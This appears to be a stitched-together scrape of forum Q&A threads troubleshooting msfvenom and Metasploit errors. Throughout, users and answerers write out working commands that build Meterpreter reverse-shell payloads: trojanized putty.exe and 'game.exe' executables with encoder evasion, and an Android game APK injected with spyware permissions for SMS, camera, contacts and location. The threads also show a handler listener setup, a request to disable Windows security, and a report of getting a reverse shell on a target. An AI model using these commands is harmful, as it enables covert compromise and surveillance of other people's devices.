[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Error: Is a directory @ io_fread — /
I am getting this error can anybody help me ?Maybe. What commands are you using? Presumably you’re incorrectly specifying the path to a directory.
msfvenom -p windows/meterpreter/reverse_https -f exe -e x86/shikata_ga_nai -i 23 -k -x /root/Desktop/putty.exe LHOST=my_ip LPORT=443 > puttyevil.exe 23 -k -x /
putty.exe is already downloaded to my desktop
You’ve specified -x
twice. msfvenom
is using the second argument /
, trying to use the root directory /
as a template executable file, and failing.
# ./msfvenom --help
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: ./msfvenom [options] <var=val>
Example: ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
root@kali:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe
Attempting to read payload from STDIN...
You must select an arch for a custom payload
I’ve been googling for sometime now, with no positive result.
Can anyone tell me what is meant by 'You must select an arch for a custom payload'
?
Richard
6,8425 gold badges45 silver badges60 bronze badges
asked Oct 10, 2014 at 9:44
1
If you go to msfvenom -h it will bring up the help. You will see the command to set the architecture is ‘-a’ which you need to set to x86 or any other architecture you want. so your command would look like
msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe
BUT you’re gonna actually need to specify the payload by including ‘-p’ in front of your payload description, so your command will look like msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe
. It’s gonna complain that no platform was selected so it selected one for you… «No platform was selected, choosing Msf::Module::Platform::Windows from the payload», then you’ll get «Found 0 compatible encoders», just ignore that. Type in «file yourexploit.exe» and it should give you some data saying PE32 executable….then you’re good to go. I just figured this out and it worked for me, ran the the .exe in my target and got reverse shell. Good luck!
answered Oct 10, 2014 at 12:32
1
It looks like you have copied the command of msfvenom from internet.
In your command -p is not actual -p(It is a issue related to Unicodes), Rewrite the -p with your own keyboard shall fix this.
answered Aug 6, 2021 at 9:03
I have quite a complex problem on my hands. I recently had the ambition to try out new features of Metasploit (on Kali Linux 2017.1). I have two computers, so I thought this was a perfect environment for experimentation. My «master system» in this instance was HP EliteBook 8760w laptop. Two problems arose:
My primary ambition in both cases was to monitor a distant device through different interfaces. Firstly I tried to achieve my goal by creating a spyware program. Here’s my procedure:
root@smerdjakov:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 -f exe > game.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
root@smerdjakov:~# msfconsole
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.103
lhost => 192.168.0.103
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.103:8080
[*] Starting the payload handler...
msf exploit(handler) >
To this point, all went as intended: I compiled all of the functions, I got the .exe file with a payload. The main idea was to run this program on another computer (with Windows 7/8/10 OS) and the Metasploit prompt would automatically start monitoring the system. However, when I tried to run my game.exe as an administrator on Windows 10, this message popped up:
Operation did not complete successfully because a file contains a virus or
potentially unwanted software.
I added a strong layer of encryption so I found it peculiar that my program wouldn’t start. On my Kali Linux I opened game.exe with Leafpad. All that I found was:
MZ
Is this normal? Firstly, I’d like to know how to turn off Windows security completely, and secondly, if my game.exe file is even functional. I should mention that after ‘MZ’ there is another glyph that StackExchange interface can’t interpret: it looks like a square with two zeros on top and a 9 and 0 at the bottom. Like so:
MZ 0 0
9 0
Your help is much appreciated. Thank you in advance.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
Error: You must select an arch for a custom payload
The Architecture has been specified, yet the error persists
Any help??
Solution 1:[1]
IN kali linux 2.0 sana it necessary to provide information based on following formate
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe
it is nessaary to specify the encoding type in kali 2.0
now run the code
change window.exe with location you deserve
kali@Unknown:~/Документы$ msfvenom --payload android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 --platform android --arch dalvik --template pou.apk --keep --out test.apk
Using APK template: pou.apk
Error: Malformed version number string 2.3.1
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Если с sudo, то:
kali@Unknown:~/Документы$ sudo msfvenom --payload android/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 --platform android --arch dalvik --template pou.apk --keep --out test.apk
Using APK template: pou.apk
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package me.pou.app.jwmqn
[*] Loading /tmp/d20201021-1598-1hruwrc/original/smali/androidx/multidex/MultiDexApplication.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20201021-1598-1hruwrc/output.apk
[-] I: Using Apktool 2.3.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: /tmp/d20201021-1598-1hruwrc/original/res/layout-v26/abc_screen_toolbar.xml:5: error: No resource identifier found for attribute 'keyboardNavigationCluster' in package 'android'
W:
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13678741995948896831.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL11962430758360945290.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201021-1598-1hruwrc/original/res, -M, /tmp/d20201021-1598-1hruwrc/original/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:492)
at brut.androlib.Androlib.buildResources(Androlib.java:426)
at brut.androlib.Androlib.build(Androlib.java:305)
at brut.androlib.Androlib.build(Androlib.java:270)
at brut.apktool.Main.cmdBuild(Main.java:227)
at brut.apktool.Main.main(Main.java:75)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13678741995948896831.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL11962430758360945290.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201021-1598-1hruwrc/original/res, -M, /tmp/d20201021-1598-1hruwrc/original/AndroidManifest.xml]
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:456)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:478)
... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 1): [/tmp/brut_util_Jar_13678741995948896831.tmp, p, --forced-package-id, 127, --min-sdk-version, 16, --target-sdk-version, 29, --version-code, 229, --version-name, 1.4.81, --no-version-vectors, -F, /tmp/APKTOOL11962430758360945290.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201021-1598-1hruwrc/original/res, -M, /tmp/d20201021-1598-1hruwrc/original/AndroidManifest.xml]
at brut.util.OS.exec(OS.java:95)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:450)
... 6 more
Error: Unable to rebuild apk with apktool